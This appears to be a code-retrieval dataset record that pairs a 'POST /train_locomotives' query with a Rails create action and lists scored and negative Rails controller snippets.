"def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end",
"def index\n @training_methods = TrainingMethod.all\n end",
"def show\n @training_level = TrainingLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training_level }\n end\n end",
"def index\n @process_trainings = ProcessTraining.all\n end",
"def show\n @city = City.find(params[:id])\n @trainings = @city.get_training_status \n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def index\n @lessons = Lesson.all\n\n render 'index.json'\n end",
"def index\n @luteins = Lutein.all\n end",
"def show_train(name)\n selected_station = select_station(name)\n selected_station.each_train do |train|\n puts \"Train number: #{train.number}\"\n puts \"Train type: #{train.type}\"\n puts \"Train speed: #{train.speed}\"\n puts \"Wagons list: #{train.wagons.size}\"\n end\n end",
"def index\n @company = Company.find( params[:company_id])\n @trainings = @company.trainings.find( params[:training_id])\n # - @courses = @trainings.courses\n end",
"def index\n @trainings = Training.all.paginate(page: params[:page], per_page: 3)\n end",
"def index\n @objectives = @goal.objectives.all \n render json: @objectives \n end",
"def index\n @lifepointes = Lifepointe.search(params[:search])\n @lifepointe = Lifepointe.new\n end",
"def new\n @training_level = TrainingLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_level }\n end\n end",
"def index\n @lounges = Lounge.new \n @all_lounges = Lounge.all\n end",
"def index\n @trainings = @runner.trainings #.limit(16).order(date: :desc) #esto no funciona si son del mismo dia\n @training = Training.new\n end",
"def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end",
"def index\n #@lessons = Lesson.all\n @lessons = @course.lessons.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lessons }\n end\n end",
"def create\n @train = Train.new(train_params)\n\n respond_to do |format|\n if @train.save\n format.html { redirect_to @train, notice: 'Train was successfully created.' }\n format.json { render action: 'show', status: :created, location: @train }\n else\n format.html { render action: 'new' }\n format.json { render json: @train.errors, status: :unprocessable_entity }\n end\n end\n end",
"def trainings\n render json: @plan.trainings\n end",
"def set_train\n @train = Train.find(params[:id])\n end",
"def index\n @pt_trainers = Pt::Trainer.all\n end",
"def index\n @loveyotubes = Loveyotube.all\n end",
"def index\n @lounges = Lounge.all\n end",
"def index\n @prediction = Prediction.all\n end",
"def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lore }\n end\n end",
"def show\n @training = Training.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training }\n end\n end",
"def predict\n @stop=Stop.find(params[:id])\n json=fetchPredictionRaw(@stop.stopid)\n @predictions=JSON.parse(json);\n @minimal=params[:minimal]\n respond_to do |format|\n format.html { render :predict, layout: !@minimal }\n format.json { render text: json }\n end\n end",
"def new\n @training = Training.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training }\n end\n end",
"def index\n #since trainers is conncected to gym\n #find the gym where the id of gym is equal to the trainer\n #SO THIS WILL TARGET SPECEFIC PEOPLE WHOS GYM.ID IS EQUAL TO TRAINER gym_id\n @gym=Gym.find(params[:gym_id])\n @trainers=Trainer.where(gym_id: @gym.id)\n render json: @trainers, include: :clients, status: :ok\n end",
"def index\n @learners = Learner.all\n end",
"def index\n @litigantes = Litigante.all\n end",
"def index\n # (This uses Squeel DSL syntax for where clauses)\n if params[:title_like]\n filter = \"%#{params[:title_like]}%\"\n @trainings = Training.where( [\"title LIKE ?\", filter] )\n .order( 'updated_at DESC', 'title' )\n else\n @trainings = Training.order( :title ).all\n end\n render status: 200, json: @trainings\n end",
"def loo_list(input={}, raw=false)\n response = get('mw/Argos/LOO.List', input, raw)\n end",
"def index\n @trainbots = Trainbot.all\n end",
"def index\n @spltrains = Spltrain.all\n end",
"def index\n #@lodgings = Lodging.all\n @lodgings = @travel.lodgings.all\n end",
"def new\n @labelling = Labelling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @labelling }\n end\n end",
"def index \n render json: Tuning.all\n end",
"def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lore }\n end\n end",
"def index\n @personal_trainings = PersonalTraining.all\n end",
"def index\n @weight_trainnings = WeightTrainning.all\n end",
"def trains_list\n @trains.each_with_index do |train, index|\n puts \"#{index}. Поезд номер #{train.num}\"\n end\n end",
"def index\n @lesson_learneds = LessonLearned.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_learneds }\n end\n end",
"def index\n @litters = Litter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @litters }\n end\n end",
"def show\n @lot = Lot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lot }\n end\n end",
"def index\n @laws = Law.ordered_roots\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laws }\n end\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index \n @lancamentorapido = Lancamentorapido.new \n @lancamentorapidos = Lancamentorapido.all\n \n @categorias = Category.all\n @centrosdecusto = Centrodecusto.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lancamentorapidos }\n end\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def index\n @livingexpenses = Livingexpense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @livingexpenses }\n end\n end",
"def index\n @learning_statuses = LearningStatus.all\n end",
"def index\n @trains = Train.all.order(:run_number)\n end",
"def request_trending\n base_uri = 'http://localhost:8888/developers'\n response = RestClient.get( base_uri, { params: { language: cleaned_query_param } } )\n @data = JSON.parse(response) \n end",
"def index\n # @checkpoints = Checkpoint.all\n @route = Route.find(params[:route_id])\n @checkpoints = @route.checkpoints\n # render json: {\n # checkpoints: @checkpoints.to_a\n # }\n end",
"def index\n @laptops = Laptop.all\n end",
"def index\n @laptops = Laptop.all\n end",
"def index\n @trainers = Trainer.all\n end",
"def index\n @trainers = Trainer.all\n end",
"def index\n @trainers = Trainer.all\n end",
"def get_kubernetes_cluster_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_cluster_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_cluster_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/Clusters/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesCluster'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_cluster_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_cluster_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @love = Love.find(params[:id])\n render json: @love\n end",
"def index\n @l1s = L1.all\n end",
"def index\n @trips = Trip.all\n render :json => @trips\n end",
"def show\n render json: @laboratory\n end",
"def new\n @lector = Lector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lector }\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def create\n @lov = Lov.new(lov_params)\n\n respond_to do |format|\n if @lov.save\n format.html { redirect_to @lov, notice: 'Lov was successfully created.' }\n format.json { render :show, status: :created, location: @lov }\n else\n format.html { render :new }\n format.json { render json: @lov.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def train_for(user)\n dataset = Predictors::StopRequestDataset.for(user)\n train(dataset)\n end"
] |
[
"0.7254195",
"0.6970627",
"0.628692",
"0.62204504",
"0.6132865",
"0.59856725",
"0.59009105",
"0.57601684",
"0.5720219",
"0.56837976",
"0.56837976",
"0.56837976",
"0.56652904",
"0.566071",
"0.5658275",
"0.56497526",
"0.5634683",
"0.5609373",
"0.5605274",
"0.5602404",
"0.5597436",
"0.5584953",
"0.5572631",
"0.55635345",
"0.5552896",
"0.55427945",
"0.55413383",
"0.5528498",
"0.55094004",
"0.550106",
"0.5498672",
"0.5496789",
"0.5484884",
"0.5470406",
"0.5450014",
"0.5448473",
"0.54324293",
"0.54315615",
"0.5429349",
"0.54278684",
"0.5410343",
"0.54035497",
"0.538782",
"0.5382299",
"0.53686255",
"0.53660214",
"0.53615004",
"0.53569376",
"0.5354113",
"0.5342928",
"0.53398097",
"0.5335953",
"0.5328248",
"0.532813",
"0.5324397",
"0.5316855",
"0.52978",
"0.5294876",
"0.52924967",
"0.528682",
"0.5283687",
"0.52816004",
"0.52781284",
"0.5268677",
"0.5265427",
"0.5253872",
"0.52532",
"0.52392036",
"0.52391315",
"0.52326405",
"0.52315146",
"0.523081",
"0.52252847",
"0.52132803",
"0.5211018",
"0.5205013",
"0.5205013",
"0.51994354",
"0.51987994",
"0.51954246",
"0.51910406",
"0.51891047",
"0.5185776",
"0.5183598",
"0.518173",
"0.51810664",
"0.51810664",
"0.5176645",
"0.5176645",
"0.5176645",
"0.51750296",
"0.51726794",
"0.5170651",
"0.51700217",
"0.51628333",
"0.516057",
"0.51599985",
"0.51599985",
"0.51587045",
"0.51546764",
"0.5152515"
] |
0.0
|
-1
|
POST /train_locomotives POST /train_locomotives.json
|
def create
@train_locomotive = TrainLocomotive.new(train_locomotive_params)
respond_to do |format|
if @train_locomotive.save
format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully created.' }
format.json { render action: 'show', status: :created, location: @train_locomotive }
else
format.html { render action: 'new' }
format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def train_locomotive_params\n params.require(:train_locomotive).permit(:operator_id, :locomotive_class_name, :locomotive_class_number, :make_id, :locomotive_type_id, :box_number, :owner_id, :price, :decoder_id, :decoder_address, :picture, :delete_image)\n end",
"def set_train_locomotive\n @train_locomotive = TrainLocomotive.find(params[:id])\n end",
"def index\n @train_locomotives = TrainLocomotive.all\n end",
"def train\n training = @prediction.trainedmodels.insert.request_schema.new\n training.id = 'emotion_prediction_id'\n training.storage_data_location = DATA_OBJECT\n result = @client.execute(\n :api_method => @prediction.trainedmodels.insert,\n :headers => {'Content-Type' => 'application/json'},\n :body_object => training\n )\n\n assemble_json_body(result)\n end",
"def create\n @lov = Lov.new(lov_params)\n\n respond_to do |format|\n if @lov.save\n format.html { redirect_to @lov, notice: 'Lov was successfully created.' }\n format.json { render :show, status: :created, location: @lov }\n else\n format.html { render :new }\n format.json { render json: @lov.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @train = Train.new(train_params)\n\n respond_to do |format|\n if @train.save\n format.html { redirect_to @train, notice: 'Train was successfully created.' }\n format.json { render action: 'show', status: :created, location: @train }\n else\n format.html { render action: 'new' }\n format.json { render json: @train.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trainmodel = Trainmodel.new(trainmodel_params)\n\n respond_to do |format|\n if @trainmodel.save\n format.html { redirect_to @trainmodel, notice: 'Trainmodel was successfully created.' }\n format.json { render :show, status: :created, location: @trainmodel }\n else\n format.html { render :new }\n format.json { render json: @trainmodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lable = Lable.new(lable_params)\n\n respond_to do |format|\n if @lable.save\n format.html { redirect_to @lable, notice: 'Lable was successfully created.' }\n format.json { render :show, status: :created, location: @lable }\n else\n format.html { render :new }\n format.json { render json: @lable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lode = Lode.new(lode_params)\n respond_to do |format|\n if @lode.save\n format.html { redirect_to new_lode_path(resource: @lode.resource), notice: 'Lode was successfully created.' }\n format.json { render :show, status: :created, location: resources_path(@lode.resource) }\n else\n format.html { render :new }\n format.json { render json: @lode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @train_locomotive.update(train_locomotive_params)\n format.html { redirect_to @train_locomotive, notice: 'Train locomotive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @train_locomotive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loo = Loo.new(loo_params)\n\n respond_to do |format|\n if @loo.save\n format.html { redirect_to @loo, notice: 'Loo was successfully created.' }\n format.json { render :show, status: :created, location: @loo }\n else\n format.html { render :new }\n format.json { render json: @loo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n p = prediction_params\n\n p[:tags] = [p[:tags]]\n puts \"BLAH\"\n puts p\n @prediction = current_user.predictions.create(p)\n respond_to do |format|\n if @prediction.save\n format.html { redirect_to action: 'index' }\n format.json { render action: 'show', status: :created, location: @prediction }\n else\n format.html { render action: 'new' }\n format.json { render json: @prediction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @spltrain = Spltrain.new(spltrain_params)\n\n respond_to do |format|\n if @spltrain.save\n format.html { redirect_to @spltrain, notice: 'Spltrain was successfully created.' }\n format.json { render :show, status: :created, location: @spltrain }\n else\n format.html { render :new }\n format.json { render json: @spltrain.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lsa_training_unique_word = LsaTrainingUniqueWord.new(params[:lsa_training_unique_word])\n\n respond_to do |format|\n if @lsa_training_unique_word.save\n format.html { redirect_to @lsa_training_unique_word, notice: 'Lsa training unique word was successfully created.' }\n format.json { render json: @lsa_training_unique_word, status: :created, location: @lsa_training_unique_word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lsa_training_unique_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @train_locomotive.destroy\n respond_to do |format|\n format.html { redirect_to train_locomotives_url }\n format.json { head :no_content }\n end\n end",
"def train_params\n params.require(:train).permit(:train_line, :route_name, :run_number, :operator_id)\n end",
"def create\n @labelling = Labelling.new(params[:labelling])\n\n respond_to do |format|\n if @labelling.save\n format.html { redirect_to @labelling, notice: 'Labelling was successfully created.' }\n format.json { render json: @labelling, status: :created, location: @labelling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @labelling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loph = Loph.new(loph_params)\n\n respond_to do |format|\n if @loph.save\n format.html { redirect_to @loph, notice: 'Loph was successfully created.' }\n format.json { render :show, status: :created, location: @loph }\n else\n format.html { render :new }\n format.json { render json: @loph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @laboratory = Laboratory.new(laboratory_params)\n if @laboratory.save\n render json: @laboratory, status: :created\n else\n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end",
"def create\n @train_datum = TrainDatum.new(train_datum_params)\n\n respond_to do |format|\n if @train_datum.save\n format.html { redirect_to @train_datum, notice: 'Train datum was successfully created.' }\n format.json { render :show, status: :created, location: @train_datum }\n else\n format.html { render :new }\n format.json { render json: @train_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lore = Lore.new(params[:lore])\n\n respond_to do |format|\n if @lore.save\n format.html { redirect_to @lore, notice: 'Lore was successfully created.' }\n format.json { render json: @lore, status: :created, location: @lore }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @livro = Livro.new(params[:livro])\n\n respond_to do |format|\n if @livro.save\n format.html { redirect_to @livro, :notice => 'Livro was successfully created.' }\n format.json { render :json => @livro, :status => :created, :location => @livro }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @livro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lifepointe = Lifepointe.new(lifepointe_params)\n\n respond_to do |format|\n if @lifepointe.save\n format.html { redirect_to @lifepointe, notice: 'Lifepointe was successfully created.' }\n format.json { render :show, status: :created, location: @lifepointe }\n else\n format.html { render :new }\n format.json { render json: @lifepointe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_train(title = '[CREATE] Please choose Train type:')\n train_type = ask_choose_train_type(title)\n\n user_input_number = ask_enter('Train number')\n\n train = train_type.new(user_input_number)\n @trains << train\n puts \"\\n[SUCCESS] #{train} created!\"\n rescue StandardError => e\n show_error_message(e)\n retry\n end",
"def create\n #@lodging = Lodging.new(lodging_params)\n params.permit!\n @lodging = @travel.lodgings.new(params[:lodging])\n\n respond_to do |format|\n if @lodging.save\n #format.html { redirect_to @lodging, notice: 'Lodging was successfully created.' }\n format.html { redirect_to [@travel, @lodging], notice: 'Lodging was successfully created.' }\n format.json { render :show, status: :created, location: @lodging }\n else\n format.html { render :new }\n format.json { render json: @lodging.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lodging = Lodging.new(lodging_params)\n\n respond_to do |format|\n if @lodging.save\n format.html { redirect_to @lodging, notice: 'Lodging was successfully created.' }\n format.json { render :show, status: :created, location: @lodging }\n else\n format.html { render :new }\n format.json { render json: @lodging.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lifeline = Lifeline.new(lifeline_params)\n\n respond_to do |format|\n if @lifeline.save\n format.html { redirect_to @lifeline, notice: 'Lifeline was successfully created.' }\n format.json { render :show, status: :created, location: @lifeline }\n else\n format.html { render :new }\n format.json { render json: @lifeline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def configure_training_request\n available_ledgers :training_request\n set_training_request\n end",
"def create\n @lomein = Lomein.new(lomein_params)\n\n respond_to do |format|\n if @lomein.save\n format.html { redirect_to @lomein, notice: 'Lomein was successfully created.' }\n format.json { render :show, status: :created, location: @lomein }\n else\n format.html { render :new }\n format.json { render json: @lomein.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loveyotube = Loveyotube.new(loveyotube_params)\n\n respond_to do |format|\n if @loveyotube.save\n format.html { redirect_to @loveyotube, notice: 'Loveyotube was successfully created.' }\n format.json { render :show, status: :created, location: @loveyotube }\n else\n format.html { render :new }\n format.json { render json: @loveyotube.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parola_params\n params.require(:parola).permit(:input, :output, :definition, :part_of_speech, :etymology_language, :tag_list)\n end",
"def create\n @tags_of_novel = TagsOfNovel.new(params[:tags_of_novel])\n\n respond_to do |format|\n if @tags_of_novel.save\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully created.' }\n format.json { render json: @tags_of_novel, status: :created, location: @tags_of_novel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @nlp = Nlp.new(params[:nlp])\n\n respond_to do |format|\n if @nlp.save\n format.html { redirect_to @nlp, notice: 'Nlp was successfully created.' }\n format.json { render json: @nlp, status: :created, location: @nlp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nlp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def training_params\n params.require(:training).permit(:trainable_id, :trainable_type, :facility_id, :date, :description, :on_spikes)\n end",
"def create\n @traindeatails = Traindetails.new(params[:traindetails])\n respond_to do |format|\n if @traindetails.save\n format.html { redirect_to @traindetails, notice: 'jhklj' }\n format.json { render json: @traindetails, status: :created, location: @traindetails }\n else\n format.html { render action: \"new\" }\n format.json { render json: @traindetails.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @lsa_training_unique_word = LsaTrainingUniqueWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lsa_training_unique_word }\n end\n end",
"def create \n render json: Tuning.create(tuning_params)\n end",
"def create\n @lector = Lector.new(params[:lector])\n\n respond_to do |format|\n if @lector.save\n format.html { redirect_to @lector, notice: 'El nuevo lector se ha guardado correctamente.' }\n format.json { render json: @lector, status: :created, location: @lector }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lector.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trainclass = Trainclass.new(trainclass_params)\n\n respond_to do |format|\n if @trainclass.save\n format.html { redirect_to @trainclass, notice: 'Trainclass was successfully created.' }\n format.json { render :show, status: :created, location: @trainclass }\n else\n format.html { render :new }\n format.json { render json: @trainclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @training = Training.new(training_params)\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to '/training', notice: 'Обучение создано.' }\n format.json { render :show, status: :created, location: @training }\n else\n format.html { render :new }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lector = Lector.new(lector_params)\n\n respond_to do |format|\n if @lector.save\n format.html { redirect_to lectors_path, notice: 'El lector fue creado con éxito.' }\n format.json { render :show, status: :created, location: @lector }\n else\n format.html { render :new }\n format.json { render json: @lector.errors, status: :unprocessable_entity }\n end\n end\n end",
"def train_for(user)\n dataset = Predictors::StopRequestDataset.for(user)\n train(dataset)\n end",
"def create\n @lutein = Lutein.new(lutein_params)\n\n respond_to do |format|\n if @lutein.save\n format.html { redirect_to @lutein, notice: 'Lutein was successfully created.' }\n format.json { render :show, status: :created, location: @lutein }\n else\n format.html { render :new }\n format.json { render json: @lutein.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = LoadTest.new(params[:load_test])\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render json: @test, status: :created, location: @test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def knol_params\n params.require(:knol).permit(:date, :name, :tags, :desc, :instructions, :knowledge, :examples)\n end",
"def create\n @training_method = TrainingMethod.new(training_method_params)\n\n respond_to do |format|\n if @training_method.save\n format.html { redirect_to training_methods_path, notice: 'Training method was successfully created.' }\n format.json { render :show, status: :created, location: @training_method }\n else\n format.html { render :new }\n format.json { render json: @training_method.errors, status: :unprocessable_entity }\n end\n end\n end",
"def training_params\r\n params.require(:training).permit(:id, :mistake_id, :question, :explanation, :answer)\r\n end",
"def create\n @objective = @goal.objectives.create(objective_params)\n render json: @objective\n end",
"def create\n @online_judge = OnlineJudge.new(online_judge_params)\n @online_judge.user = current_user\n\n respond_to do |format|\n if @online_judge.save\n format.html { redirect_to current_user, notice: 'Online judge was successfully created.' }\n format.json { render :show, status: :created, location: @online_judge }\n else\n format.html { render :new }\n format.json { render json: @online_judge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @process_training = ProcessTraining.new(process_training_params)\n\n respond_to do |format|\n if @process_training.save\n format.html { redirect_to @process_training, notice: 'Process training was successfully created.' }\n format.json { render :show, status: :created, location: @process_training }\n else\n format.html { render :new }\n format.json { render json: @process_training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lodging = Lodging.new(:user_id => session[:user_id], :title => lodging_params[:title], :description => lodging_params[:description], :location => lodging_params[:location], :amenities => lodging_params[:amenities], :facilities => lodging_params[:facilities], :equipment => lodging_params[:equipment], :start_availability => lodging_params[:start_availability], :end_availability => lodging_params[:end_availability], :photo => lodging_params[:photo], :video => lodging_params[:video])\n\n respond_to do |format|\n if @lodging.save\n format.html { redirect_to @lodging, notice: \"Lodging was successfully created.\" }\n format.json { render :show, status: :created, location: @lodging }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @lodging.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_train(train)\n trains << train\n end",
"def training_params\n params.require(:training).permit(:name, :date, :sport, :level, :active, :place_id, images: []) #:user_id, :place_id)\n end",
"def test_scenario15\n data = [['data/iris.csv', {\"weight_field\" => \"000000\", \"missing_numerics\" => false}, {\"petal width\" => 1.5, \"petal length\" => 2, \"sepal width\" => 1}, 'Iris-versicolor', 0.9547, '000004']]\n puts \"\"\n puts \"Scenario: Successfully comparing predictions with text options\"\n\n data.each do |filename, parms, data_input, prediction_result, probability, objective|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n\n source = @api.create_source(File.dirname(__FILE__)+\"/\"+filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a logistic regression model with objective <%s> and params <%s>\" % [objective, parms]\n logistic_regression = @api.create_logisticregression(dataset, {'objective_field' => objective}.merge(parms))\n \n puts \"And I wait until the logistic regression model is ready\"\n assert_equal(BigML::HTTP_CREATED, logistic_regression[\"code\"])\n assert_equal(@api.ok(logistic_regression), true)\n\n puts \"And I create a local logistic regression model\"\n localLogisticRegression = BigML::Logistic.new(logistic_regression)\n\n puts \"When I create a logistic regression prediction for <%s>\" % JSON.generate(data_input)\n prediction = @api.create_prediction(logistic_regression, data_input)\n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n\n puts \"Then the logistic regression prediction is <%s>\" % prediction_result\n assert_equal(prediction_result, prediction[\"object\"][\"output\"])\n\n puts \"And the logistic regression probability for the prediction is <%s>\" % probability\n\n prediction[\"object\"][\"probabilities\"].each do |prediction_value, remote_probability|\n if prediction_value == prediction[\"object\"][\"output\"]\n assert_equal(remote_probability.to_f.round(3),probability.round(3))\n break\n end\n end\n\n puts \"And I create a local logistic regression prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = localLogisticRegression.predict(data_input, {\"full\" => true})\n\n puts \"Then the local logistic regression prediction is <%s>\" % prediction_result\n assert_equal(prediction_result, local_prediction[\"prediction\"])\n\n puts \"And the local logistic regression probability for the prediction is <%s>\" % probability\n assert_equal(probability.round(4), local_prediction[\"probability\"].round(4))\n\n end\n end",
"def training_params\n params.require(:training).permit(:title, :category, :description, :date, :time, :duration)\n end",
"def create\n @lamp = Lamp.new(lamp_params)\n @lamp.product.company_id = current_user.company.id if @lamp.product\n @lamp.product.node_id = params[:node_id] if params[:node_id]\n current_user.company.tag(@lamp, with: lamp_params[:tag_list], on: current_user.company.name.parameterize.underscore.to_sym)\n\n respond_to do |format|\n if @lamp.save\n format.html { redirect_to @lamp, notice: 'Lamp was successfully created.' }\n format.json { render :show, status: :created, location: @lamp }\n else\n format.html { render :new }\n format.json { render json: @lamp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lyric = Lyric.new(lyric_params)\n\n respond_to do |format|\n if @lyric.save\n format.html { redirect_to @lyric, notice: 'Lyric was successfully created.' }\n format.json { render json: @lyric, status: :created, location: @lyric }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lyric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trainrun = Trainrun.new(trainrun_params)\n\n respond_to do |format|\n if @trainrun.save\n format.html { redirect_to @trainrun, notice: 'Trainrun was successfully created.' }\n format.json { render :show, status: :created, location: @trainrun }\n else\n format.html { render :new }\n format.json { render json: @trainrun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @predict = Predict.new(params[:predict])\n\n respond_to do |format|\n if @predict.save\n format.html { redirect_to @predict, notice: 'Predict was successfully created.' }\n format.json { render json: @predict, status: :created, location: @predict }\n else\n format.html { render action: \"new\" }\n format.json { render json: @predict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lyric = Lyric.new(params[:lyric])\n\n respond_to do |format|\n if @lyric.save\n format.html { redirect_to @lyric, notice: 'Lyric was successfully created.' }\n format.json { render json: @lyric, status: :created, location: @lyric }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lyric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lote = Lote.new(params[:lote])\n\n respond_to do |format|\n if @lote.save\n flash[:notice] = 'Lote was successfully created.'\n format.html { redirect_to(@lote) }\n format.xml { render :xml => @lote, :status => :created, :location => @lote }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lote.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def spltrain_params\n params.require(:spltrain).permit(:status, :date)\n end",
"def create\n @l = L.new(l_params)\n\n respond_to do |format|\n if @l.save\n format.html { redirect_to @l, notice: 'L was successfully created.' }\n format.json { render :show, status: :created, location: @l }\n else\n format.html { render :new }\n format.json { render json: @l.errors, status: :unprocessable_entity }\n end\n end\n end",
